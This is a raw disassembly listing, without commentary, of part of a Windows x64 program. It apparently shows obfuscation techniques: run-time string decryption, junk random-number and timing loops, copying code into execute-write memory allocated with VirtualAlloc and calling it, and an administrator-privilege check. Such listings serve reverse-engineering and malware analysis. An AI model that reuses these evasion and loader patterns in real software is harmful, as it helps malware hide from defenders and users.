lea rcx, [rsp + 0x2520]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0xc9
jae 0x14020bd1c
cmp eax, 0x64
jae 0x14020bd1c
lea rcx, [rsp + 0x2520]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14020bd01
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r15]
lea edx, [rcx - 0x80000000]
cmp ecx, r15d
cmovae edx, eax
mov eax, dword [rsp + 0x40]
imul edx, eax
mov dword [rsp + 0x40], edx
lea rcx, [rsp + 0x2520]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
mov r8d, ebx
cmp eax, 0xc9
jae 0x14020bd8e
cmp eax, 0x64
jae 0x14020bd8e
nop word [rax + rax]
lea rcx, [rsp + 0x2520]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14020bd70
mov r8d, ebx
shr rax, 0x20
lea edx, [rax + 0x7fffff9c]
lea eax, [rdx + r15]
lea ecx, [rdx - 0x80000000]
cmp edx, r15d
cmovae ecx, eax
mov eax, dword [rsp + 0x40]
sub eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv r8d
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv r8d
mov dword [rsp + 0x40], edx
sub qword [rsp + 0x68], r12
jne 0x14020bc21
mov r12, qword [rsp + 0x50]
jmp 0x14020bbd0
mov eax, dword [rsp + 0x40]
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rsp + 0xc1a0]
lea rcx, [rsp + 0xa20]
call fcn.1401d3950
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x14020be0e
mov rax, qword [rax]
mov rdx, rax
mov rcx, rbx
call fcn.1402220d0
lea rdx, [0x14021bb10]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rsp + 0xa20]
call fcn.140219ac0
xor edx, edx
mov r8d, 0xf0
lea rcx, [rsp + 0x1080]
call fcn.140241de8
lea rdx, [rsp + 0xc1a0]
lea rcx, [rsp + 0xc80]
call fcn.1401d3950
mov rbx, rax
lea rcx, [r14 + 0x270fa8]
mov qword [rsp + 0x1080], rcx
lea rcx, [rsp + 0x1110]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
or dword [rsp + 0xb0], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x1090]
lea rcx, [rsp + 0x1080]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rsp + 0x1080]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rsp + rcx + 0x1080], rax
mov rax, qword [rsp + 0x1080]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x90]
mov dword [rsp + rcx + 0x107c], edx
lea rax, [rsp + 0x1090]
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x1090]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
lea rax, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rsp + 0x1090], rax
mov rax, qword [rbx + 0x10]
mov qword [rsp + 0x50], rax
mov rax, qword [rbx + 0x18]
cmp rax, 0x10
jb 0x14020bf21
mov rdx, qword [rbx]
inc rax
jmp 0x14020bf39
mov ecx, 0x11
call fcn.14024118c
mov rdx, rax
movups xmm0, xmmword [rbx]
movups xmmword [rax], xmm0
mov eax, 0x11
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rcx, qword [rsp + 0x50]
add rcx, rdx
mov qword [rsp + 0x10f8], rcx
lea rcx, [rax + rdx]
mov rax, qword [rsp + 0x10b0]
mov qword [rax], rdx
mov rax, qword [rsp + 0x10d0]
mov qword [rax], rdx
sub ecx, edx
mov rax, qword [rsp + 0x10e8]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x10f8]
mov rax, qword [rsp + 0x10a8]
mov qword [rax], rdx
mov rax, qword [rsp + 0x10c8]
mov qword [rax], rdx
sub ecx, edx
mov rax, qword [rsp + 0x10e0]
mov dword [rax], ecx
mov dword [rsp + 0x1100], 0x23
lea rcx, [rsp + 0xc80]
call fcn.140219ac0
mov r8b, 0x3a
lea rdx, [0x14028f598]
lea rcx, [rsp + 0x1080]
call fcn.140221c30
mov r8b, 0x3a
lea rdx, [0x14028f868]
lea rcx, [rsp + 0x1080]
call fcn.140221c30
mov rax, qword [rsp + 0x1080]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x1080]
add rcx, rax
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
movzx r8d, al
lea rdx, [0x14028f828]
lea rcx, [rsp + 0x1080]
call fcn.140221c30
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x4c34], 0xffffffff
mov dword [rsp + 0x38b4], eax
mov edx, 1
nop dword [rax]
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x38b4], eax
inc rdx
cmp rdx, 0x270
jb 0x14020c050
mov dword [rsp + 0x38b0], 0x270
mov dword [rsp + 0x40], esi
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x14020c09f
imul rax, rax, 0x64
jmp 0x14020c0ba
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
lea r12, [rax + 0x5f5e100]
mov qword [rsp + 0x50], r12
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x14020c0e4
imul rax, rax, 0x64
jmp 0x14020c0ff
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, r12
jge 0x14020c2df
mov qword [rsp + 0x68], 0x186a0
mov r12d, 1
nop word [rax + rax]
lea rcx, [rsp + 0x38b0]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x14020c15b
nop dword [rax + rax]
lea rcx, [rsp + 0x38b0]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14020c140
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r15]
lea ebx, [rcx - 0x80000000]
cmp ecx, r15d
cmovae ebx, eax
test ebx, ebx
cmove ebx, r12d
lea rcx, [rsp + 0x38b0]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0xc9
jae 0x14020c1bb
cmp eax, 0x64
jae 0x14020c1bb
nop dword [rax]
lea rcx, [rsp + 0x38b0]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14020c1a0
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r15]
lea edx, [rcx - 0x80000000]
cmp ecx, r15d
cmovae edx, eax
mov eax, dword [rsp + 0x40]
add edx, eax
mov dword [rsp + 0x40], edx
lea rcx, [rsp + 0x38b0]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0xc9
jae 0x14020c21c
cmp eax, 0x64
jae 0x14020c21c
lea rcx, [rsp + 0x38b0]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14020c201
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r15]
lea edx, [rcx - 0x80000000]
cmp ecx, r15d
cmovae edx, eax
mov eax, dword [rsp + 0x40]
imul edx, eax
mov dword [rsp + 0x40], edx
lea rcx, [rsp + 0x38b0]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
mov r8d, ebx
cmp eax, 0xc9
jae 0x14020c28e
cmp eax, 0x64
jae 0x14020c28e
nop word [rax + rax]
lea rcx, [rsp + 0x38b0]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14020c270
mov r8d, ebx
shr rax, 0x20
lea edx, [rax + 0x7fffff9c]
lea eax, [rdx + r15]
lea ecx, [rdx - 0x80000000]
cmp edx, r15d
cmovae ecx, eax
mov eax, dword [rsp + 0x40]
sub eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv r8d
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv r8d
mov dword [rsp + 0x40], edx
sub qword [rsp + 0x68], r12
jne 0x14020c120
mov r12, qword [rsp + 0x50]
jmp 0x14020c0c6
mov eax, dword [rsp + 0x40]
mov eax, dword [str.bk_H]
mov dword [rsp + 0xac], eax
cmp byte [0x14026f617], 0
movabs r12, 0xff00ff00ff00ff00
mov ebx, dword [0x140284008]
je 0x14020c474
cmp ebx, 2
jl 0x14020c410
mov ecx, 0x1f
movd xmm6, ecx
movdqa xmm7, xmmword [0x140272810]
movdqa xmm4, xmm7
punpckldq xmm4, xmm7
movdqa xmm2, xmm7
punpckhdq xmm2, xmm7
movdqa xmm5, xmm4
pmuldq xmm5, xmmword [0x1402728d0]
movdqa xmm0, xmm2
pmuldq xmm0, xmmword [0x1402728d0]
shufps xmm5, xmm0, 0xdd
movd xmm0, r13d
psrad xmm5, xmm0
pmuldq xmm4, xmmword [0x140272910]
pmuldq xmm2, xmmword [0x140272910]
shufps xmm4, xmm2, 0xdd
psubd xmm4, xmm7
mov ecx, 6
movd xmm0, ecx
psrad xmm4, xmm0
movdqa xmm1, xmm4
psrld xmm1, xmm6
paddd xmm1, xmm4
pmulld xmm1, xmmword [0x140272920]
movdqa xmm0, xmm7
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
packuswb xmm3, xmm3
movdqa xmm0, xmm5
psrld xmm0, xmm6
paddd xmm0, xmm5
pmulld xmm0, xmmword [0x140272840]
psubd xmm7, xmm0
pshuflw xmm0, xmm7, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmmword [str.BBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCC]
movd xmm0, eax
pxor xmm3, xmm0
movd dword [rsp + 0xac], xmm3
jmp 0x14020c474
lea r10, [rsp + 0xac]
mov r9d, esi
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, 0x21
add r8b, r8b
mov eax, 0x13e22cbd
imul r9d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x67
sub r8b, cl
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 4
jl 0x14020c420
lea rcx, [rsp + 0xc40]
call fcn.1401c2d50
mov r11, rax
movups xmm0, xmmword [0x14026f328]
movups xmmword [rsp + 0x2e8], xmm0
movups xmm1, xmmword [0x14026f338]
movups xmmword [rsp + 0x2f8], xmm1
movsd xmm0, qword [0x14026f348]
movsd qword [rsp + 0x308], xmm0
mov ecx, dword [0x14026f350]
mov dword [rsp + 0x310], ecx
movzx eax, word [0x14026f354]
mov word [rsp + 0x314], ax
movzx eax, byte [0x14026f356]
mov byte [rsp + 0x316], al
mov r9d, esi
cmp ebx, 2
jl 0x14020c70f
movdqa xmm9, xmmword [0x140272810]
movdqa xmm6, xmmword [0x1402728d0]
movd xmm10, r13d
movdqa xmm7, xmmword [0x140272910]
mov eax, 6
movd xmm11, eax
movdqa xmm12, xmmword [0x140272840]
mov eax, 0x1f
movd xmm8, eax
movdqa xmm13, xmmword [0x140272920]
movdqa xmm0, xmmword [str.BBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCC]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x2ec]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm10
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm13
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm8
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm10
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm13
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm8
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x28
jl 0x14020c550
cmp r9d, 0x2f
jge 0x14020c774
movsxd rax, r9d
lea r10, [rsp + 0x2e8]
add r10, rax
nop dword [rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, 0x21
add r8b, r8b
mov eax, 0x13e22cbd
imul r9d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x67
sub r8b, cl
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x2f
jl 0x14020c720
mov r8, r11
lea rdx, [rsp + 0x2e8]
lea rcx, [rsp + 0xc60]
call fcn.14021bd30
nop
lea rcx, [rsp + 0xac]
inc rdi
cmp byte [rcx + rdi], 0
jne 0x14020c795
mov r8, rdi
lea rdx, [rsp + 0xac]
mov rcx, rax
call fcn.140217ed0
xorps xmm0, xmm0
movups xmmword [rsp + 0xe40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0xe50], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0xe40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0xe50], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
or dword [rsp + 0xb0], 2
lea rcx, [rsp + 0xc60]
call fcn.140219ac0
nop
lea rcx, [rsp + 0xc40]
call fcn.140219ac0
lea rdi, [0x1401c4bd0]
lea rax, [rsp + 0xe40]
cmp qword [rsp + 0xe58], 0x10
cmovae rax, qword [rsp + 0xe40]
mov qword [rsp + 0x258], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0xde0], xmm0
lea rcx, [rsp + 0xca38]
mov qword [rsp + 0xde8], r12
mov qword [rsp + 0xdf0], rcx
mov rax, qword [rcx]
xor rax, r12
mov qword [rsp + 0x50], rax
mov qword [rsp + 0xde0], rax
mov qword [rcx], rsi
mov ecx, esi
mov rax, qword [0x140293a00]
test rax, rax
je 0x14020c8b9
mov rdx, rsi
lea r8, [0x14021bcd0]
nop dword [rax + rax]
cmp rax, r8
je 0x14020c8a8
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x293a00]
test rax, rax
jne 0x14020c890
jmp 0x14020c8b9
mov r8, qword [r14 + rdx*8 + 0x291d50]
test r8, r8
jne 0x14020c99f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
lea r9, [0x14021bcd0]
test rax, rax
jne 0x14020c8e7
mov r8, rsi
jmp 0x14020c97e
mov rax, r9
mov rcx, r8
mov rdx, r13
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14020c8f0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14028f030]
mov qword [r14 + rax*8 + 0x293a00], r9
mov qword [r14 + rax*8 + 0x291d50], r8
inc rax
mov qword [0x14028f030], rax
lea rdx, [rsp + 0x258]
mov rcx, rdi
call r8
nop
mov rax, qword [rsp + 0x50]
xor rax, r12
mov qword [rsp + 0xde0], rax
lea rcx, [rsp + 0xca38]
mov qword [rcx], rax
call qword [sym.imp.SHELL32.dll_IsUserAnAdmin]
lea rdx, [rsp + 0xc1a0]
test eax, eax
je 0x14020cd12
lea rcx, [rsp + 0xba0]
call fcn.1401d3950
mov r11, rax
movups xmm0, xmmword [0x140270090]
movups xmmword [rsp + 0x840], xmm0
movups xmm1, xmmword [0x1402700a0]
movups xmmword [rsp + 0x850], xmm1
movups xmm0, xmmword [0x1402700b0]
movups xmmword [rsp + 0x860], xmm0
movups xmm1, xmmword [0x1402700c0]
movups xmmword [rsp + 0x870], xmm1
movsd xmm0, qword [0x1402700d0]
movsd qword [rsp + 0x880], xmm0
mov eax, dword [0x1402700d8]
mov dword [rsp + 0x888], eax
mov r9d, esi
cmp ebx, 2
jl 0x14020cc7f
movdqa xmm9, xmmword [0x140272810]
movdqa xmm6, xmmword [0x1402728d0]
movd xmm10, r13d
movdqa xmm7, xmmword [0x140272910]
mov eax, 6
movd xmm11, eax
movdqa xmm12, xmmword [0x140272840]
mov eax, 0x1f
movd xmm8, eax
movdqa xmm13, xmmword [0x140272920]
movdqa xmm0, xmmword [str.BBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCC]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x844]
mov edx, dword [rsp + 0x50]
nop dword [rax]
nop word [rax + rax]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm10
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm13
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm8
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm4, xmm5
punpckldq xmm4, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm2, xmm4
pmuldq xmm2, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, xmm10
pmuldq xmm4, xmm7
pmuldq xmm1, xmm7
shufps xmm4, xmm1, 0xdd
psubd xmm4, xmm5
psrad xmm4, xmm11
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm8
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x48
jl 0x14020cac0
cmp r9d, 0x4c
jge 0x14020cce4
movsxd rax, r9d
lea r10, [rsp + 0x840]
add r10, rax
nop dword [rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, 0x21
add r8b, r8b
mov eax, 0x13e22cbd
imul r9d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x67
sub r8b, cl
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x4c
jl 0x14020cc90
mov r8, r11
lea rdx, [rsp + 0x840]
lea rcx, [rsp + 0xc20]
call fcn.14021bd30
mov rcx, rax
call fcn.1401c8980
nop
lea rcx, [rsp + 0xba0]
jmp 0x14020d05d
lea rcx, [rsp + 0xbc0]
call fcn.1401d3950
mov r11, rax
movups xmm0, xmmword [str.b4_____nvxz_b6]
movups xmmword [rsp + 0x890], xmm0
movups xmm1, xmmword [0x140270860]
movups xmmword [rsp + 0x8a0], xmm1
movups xmm0, xmmword [0x140270870]
movups xmmword [rsp + 0x8b0], xmm0
movups xmm1, xmmword [0x140270880]
movups xmmword [rsp + 0x8c0], xmm1
movups xmm0, xmmword [0x140270890]
movups xmmword [rsp + 0x8d0], xmm0
movups xmm1, xmmword [0x1402708a0]
movups xmmword [rsp + 0x8e0], xmm1
mov eax, dword [0x1402708b0]
mov dword [rsp + 0x8f0], eax
movzx eax, word [0x1402708b4]
mov word [rsp + 0x8f4], ax
mov r9d, esi
cmp ebx, 2
jl 0x14020cfcf
movdqa xmm9, xmmword [0x140272810]
movdqa xmm6, xmmword [0x1402728d0]
movd xmm10, r13d
movdqa xmm7, xmmword [0x140272910]
mov eax, 6
movd xmm11, eax
movdqa xmm12, xmmword [0x140272840]
mov eax, 0x1f
movd xmm8, eax
movdqa xmm13, xmmword [0x140272920]
movdqa xmm0, xmmword [str.BBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCC]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x894]
mov edx, dword [rsp + 0x50]
nop dword [rax]
nop word [rax + rax]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm10
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm13
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm8
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm10
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm13
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm8
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
